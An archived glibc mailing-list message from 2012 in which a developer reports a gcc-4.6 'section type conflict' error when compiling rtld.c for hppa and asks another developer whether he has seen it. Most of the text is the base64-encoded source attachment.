	Cc:Content-Type:Mailing-List:Precedence:List-Id:List-Unsubscribe:
	List-Subscribe:List-Post:List-Help:Sender:Delivered-To; bh=kAwTr
	oQs4EmOVWu330LWpz5H80k=; b=ISQwgdT3BBasjkr675+uCu793L52AmaqMnzsl
	G+r5ZnEnj6gNoZKgtwsPFYVHaT5d3rw8Uc/r58evci4AYq9bGqMjC97ILWIlibk4
	7Kx42jrWwUqoXnkiGm0HXGxeJB0n6d+2KjeDIE9r5+deiDtKs/2HK6bTRO1Wa+g/
	cyfjRc=
Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
	s=default; d=sourceware.org;
	h=Received:Received:X-SWARE-Spam-Status:X-Spam-Check-By:Received:Received:MIME-Version:Received:Received:Date:Message-ID:Subject:From:To:Cc:Content-Type:X-IsSubscribed:Mailing-List:Precedence:List-Id:List-Unsubscribe:List-Subscribe:List-Post:List-Help:Sender:Delivered-To;
	b=opv8Yw7TF3pWL7B6dr789O8n5fpN/xqQ4o7XWH7H2sN5uXu4WDfNQmMiKjwL1V
	8Xza9sx3zpAS+ep7TdK12IdzLlyC/nXrfyl8yVXzzVPzuWEXM8WKmn4NRlzFcnm6
	UiW9YwjF0JDt6sClzEZjWHk2o7+1i4n46QFC6RNIfCF+w=;
Original-Received: (qmail 20063 invoked by alias); 15 Apr 2012 15:00:30 -0000
Original-Received: (qmail 20045 invoked by uid 22791); 15 Apr 2012 15:00:27 -0000
X-SWARE-Spam-Status: No, hits=-4.0 required=5.0	tests=AWL,BAYES_00,DKIM_SIGNED,DKIM_VALID,FREEMAIL_FROM,KHOP_RCVD_TRUST,RCVD_IN_DNSWL_LOW,RCVD_IN_HOSTKARMA_YE,TW_BJ,TW_CX,TW_DC,TW_GX
X-Spam-Check-By: sourceware.org
Original-Received: from mail-pz0-f54.google.com (HELO mail-pz0-f54.google.com) (209.85.210.54)    by sourceware.org (qpsmtpd/0.43rc1) with ESMTP; Sun, 15 Apr 2012 15:00:13 +0000
Original-Received: by dady13 with SMTP id y13so5591463dad.13        for <libc-ports@sourceware.org>; Sun, 15 Apr 2012 08:00:10 -0700 (PDT)
Original-Received: by 10.68.213.73 with SMTP id nq9mr20679904pbc.143.1334502001108; Sun, 15 Apr 2012 08:00:01 -0700 (PDT)
Original-Received: by 10.68.50.100 with HTTP; Sun, 15 Apr 2012 08:00:00 -0700 (PDT)
X-IsSubscribed: yes
Mailing-List: contact libc-ports-help@sourceware.org; run by ezmlm
Precedence: bulk
List-Id: <libc-ports.sourceware.org>
List-Unsubscribe: <mailto:libc-ports-unsubscribe-gclgp-libc-ports=m.gmane.org@sourceware.org>
List-Subscribe: <mailto:libc-ports-subscribe@sourceware.org>
List-Post: <mailto:libc-ports@sourceware.org>
List-Help: <mailto:libc-ports-help@sourceware.org>, <http://sourceware.org/lists.html#faqs>
Original-Sender: libc-ports-owner@sourceware.org
Delivered-To: mailing list libc-ports@sourceware.org
Xref: news.gmane.org gmane.comp.lib.glibc.ports:1424 gmane.linux.ports.parisc:4280
Archived-At: <http://permalink.gmane.org/gmane.comp.lib.glibc.ports/1424>


--e89a8ff1c3fcba677204bdb8f542
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

Dave,

When compiling glibc on magnum with gcc-4.6 I get an odd failure about
section type conflicts.

The following is the reduced test case:

carlos@magnum:~/build/glibc$ gcc -v
Using built-in specs.
COLLECT_GCC=3Dgcc
COLLECT_LTO_WRAPPER=3D/usr/lib/gcc/hppa-linux-gnu/4.6/lto-wrapper
Target: hppa-linux-gnu
Configured with: ../src/configure -v --with-pkgversion=3D'Debian
4.6.3-1' --with-bugurl=3Dfile:///usr/share/doc/gcc-4.6/README.Bugs
--enable-languages=3Dc,c++,fortran,objc,obj-c++ --prefix=3D/usr
--program-suffix=3D-4.6 --enable-shared --enable-linker-build-id
--with-system-zlib --libexecdir=3D/usr/lib --without-included-gettext
--enable-threads=3Dposix --with-gxx-include-dir=3D/usr/include/c++/4.6
--libdir=3D/usr/lib --enable-nls --with-sysroot=3D/ --enable-clocale=3Dgnu
--enable-libstdcxx-debug --enable-libstdcxx-time=3Dyes --disable-libssp
--enable-plugin --enable-objc-gc --disable-libstdcxx-pch
--enable-checking=3Drelease --build=3Dhppa-linux-gnu --host=3Dhppa-linux-gnu
--target=3Dhppa-linux-gnu
Thread model: posix
gcc version 4.6.3 (Debian 4.6.3-1)

carlos@magnum:~/src/glibc/elf$ hppa-linux-gnu-gcc rtld.i -c -std=3Dgnu99
-fgnu89-inline -O2 -U_FORTIFY_SOURCE -Wall -Winline -Wwrite-strings
-fmerge-all-constants -fno-stack-protector -g -Wstrict-prototypes
-fPIC -mdisable-fpregs
rtld.c: In function =E2dl_main=E2:
rtld.c:937:3: warning: implicit declaration of function
=E2__canonicalize_funcptr_for_compare=E2 [-Wimplicit-function-declaration]
rtld.c: At top level:
rtld.c:150:23: error: _rtld_global_ro causes a section type conflict
carlos@magnum:~/src/glibc/elf$

Attached is the original unreduced file as rtld.tar.bz2 (modified
slightly to work standalone because glibc uses `-include' on the
command line).

Attached is the multi-delta reduced file as rtld-reduced.i.

Have you seen this before with gcc 4.6?

I'll be poking at this later, but I thought you might have seen this
so I'm posting to the list.

I know that Gentoo/hppa has already seen this issue, but not posted a solut=
ion.
https://bugs.gentoo.org/show_bug.cgi?id=3D405161

Comments?

Cheers,
Carlos.

--e89a8ff1c3fcba677204bdb8f542
Content-Type: application/x-bzip2; name="rtld.tar.bz2"
Content-Disposition: attachment; filename="rtld.tar.bz2"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_h10upp670

QlpoOTFBWSZTWeSn4JMCZSB/hf/3l2x///////////////8AAQAIAAhhOR7w
AF6t9AH0ASOgAHuGqvdupLe9z3e94bw1IHxunPowoS7AAA7763AAAAC72fB0
APvu+u1733b2KZU66evunRbaNGmgFz7T77uRt3Y7N7uTAc3alrVxGzee+9AA
DVX1de+1C76aSXR7udtfCvjrwN7NzqZbnn3vnV5Bqsr7id13vbNXe97m0Lbt
GPee7W63j1b7mmsrzX3171H0Ffdi61rAAABd4ABWfbs6uWYdXVyniN7h7b3e
08u2mhSnXV4AA53vWoAKAA95vs1o+dvljuyj3332CYzeH0BQ9y9p6Pp0B7y5
x33sD2qy6XdOSWXLo5qe7ne5697u6es973U9jZ32+99Kq6Zd23zSvTHZgb2A
AAB4niDvc+isj7evJhtx4t9d7vvtatffGfXUQPex1dtvnuXbzuwdSt1x2a3v
d67PR5fOx9EbfHcbt3bvZvC+932x5dYvZ9ZvU7n0AAAA9FA6AB3U9eFsaBZ3
q7eG7dH32983ra08vc53u3WV7br6HXptjPbe44+++70yUts57r1Qz13NXs9y
j7e6D5lHOlqxtezXG93MsfYe7LTze5un3any9BkEMx67ie0cU5cmj3YqXehk
1jVbRZrbCNfXgy7so6DffeePX1a86a6e3m89JEHvc2c7nbRFdQAdb7uIUKPb
yPYdXrp7zbCt7hWjdzgG9dUvvcdPj67zd7qvStte5d3Hub06DvZtiY1WxVA2
Pb73VDttsrLfXXfcWNkW2mnTXZ3bezyPDr3XutuVdYpa91m524h5u26osb1w
qWjYdnCuwPdiEdpZr11J1K2+e0m9utepCmWzWALWbsEm2GgmvXve7vp7q2e5
rtqaszTHrj4PnyLx3d6l63fb3uzqk897e4vNbJue97rzYq9ADva9N04IgAAA
AABNdKcQxUauU7Wi2Tfc3NbPXB1lZc6udbu2zubsbWgdD69SeGte15nb27vb
e+9981jZ7gNNCAE0IAhGgCZTQYTTRNT1M0mTE8p6U/JNTRoPKaPUDI3qjQCU
xEIiIE00aJiaARlNT2kTbVNNAaZDyj1AyekNAAAANAkaohFNoSTU8p/omKZk
1T8UejNQ02qbCkf6k0nknqep6npqAaeoNGmgGh6mjCEpEQQEBMImin6mTQMp
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
ZN4kEoUSSVoWoS7TxWlxtJJVVJB1zKlqh7bzbl5o5dPqYJoV6SenyZkFixav
WXzg76nC0k0lHdnGsU6zXTZx5e966izo1yUIdmm5jAyak6TlOlKUpSlKUpSl
KOrxacXhGlIzp0udc510rvOXu7Jl8V5nV8WrWQNIiSbuEl2uneVtvfH1bfWQ
4sfU1pi3c6l9K722nchvd6tMplIpYhZN3zOc5vpzl7ea43ecyKjp9Qucjq2D
gdTi4tJdXOucvmzNC1iTVxZ1t85t30Pe865vFzp5o1MJ0johrrhq4i7V7vJF
NcyupvfWJUtnRqTj3nE6663Mzl3xnOGor5qPrq+s511zb45NLiIqDWuRLEuJ
XvV6JDrnCcwmF8cmcgJTTzb0us6jVObyzfHV7d9SETV8hOLe8ohRKEBvWrsd
p7zRANcNbvGnvZfWtc3pBzDv/OsrwqSpIkBMtMcQOgEQ+Md3I5rQEUi2h8qK
hoKSSKiv8En/NwwMozAemcgHvIARQgvS+x1aGQ+4OsZb2FXgDwsHnQLYAbTv
nYeF0A2JADHdYtCRikAWQQ20rnGMYRXEGjowcoxiNTB5tR4zWNINChnCVURB
xAIHeHpSA/QBACARD3RA5sQ+SE/wPhg9kC/gfwrhe22gPhVPv+X12lTtPmX3
BMSXPX7jpcHSCJ7QV7/5zkdb2Pu91kL0IY4xFQkkkqBUGqstGeffuHt3pWqV
4WPWXlT8PxfoPkZ0mnB+yyyUTEST/zGeBvDMMeAYIUmKEiUCdcS3cHfDU4d2
RIJ9qYwiySpBtD+YU3mc8/F5hyJTAoswYswYswYoU/XnB6P19Ts9I6Q5cph9
6qBRaEEuJUKH+QTOyCfydDU8Zp93L8+d7afFLGZ+9x5nad/i26Uf0FFEP4Hn
YEKtWKn4hDfsfhiYx4PmKHnAzilQUBTrwpM3KZlg7oLqWNUvPS0hzGwGwQpY
FEv1AhNwOInfw5JccFkY2Xy/e790NkTW6Ial7Vz+whYxXYIigYgHQginM6Q0
jYWRpjzijIH7jIND4anbO7svVSW+HjU2xHj3gj0DGZHhy+y3XRVJcOctuJB+
mo6OsdPWrRQNDFMqRE7UySN6qS7uAGP+HPn+YCsXeHwkgNrPl5g+QPuYXBjC
uFcR/XPg/kuz8NwqKrlJVagceL2b3YcuiBOwsP0nLM8OWYuf5SSSTHPDSf6t
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
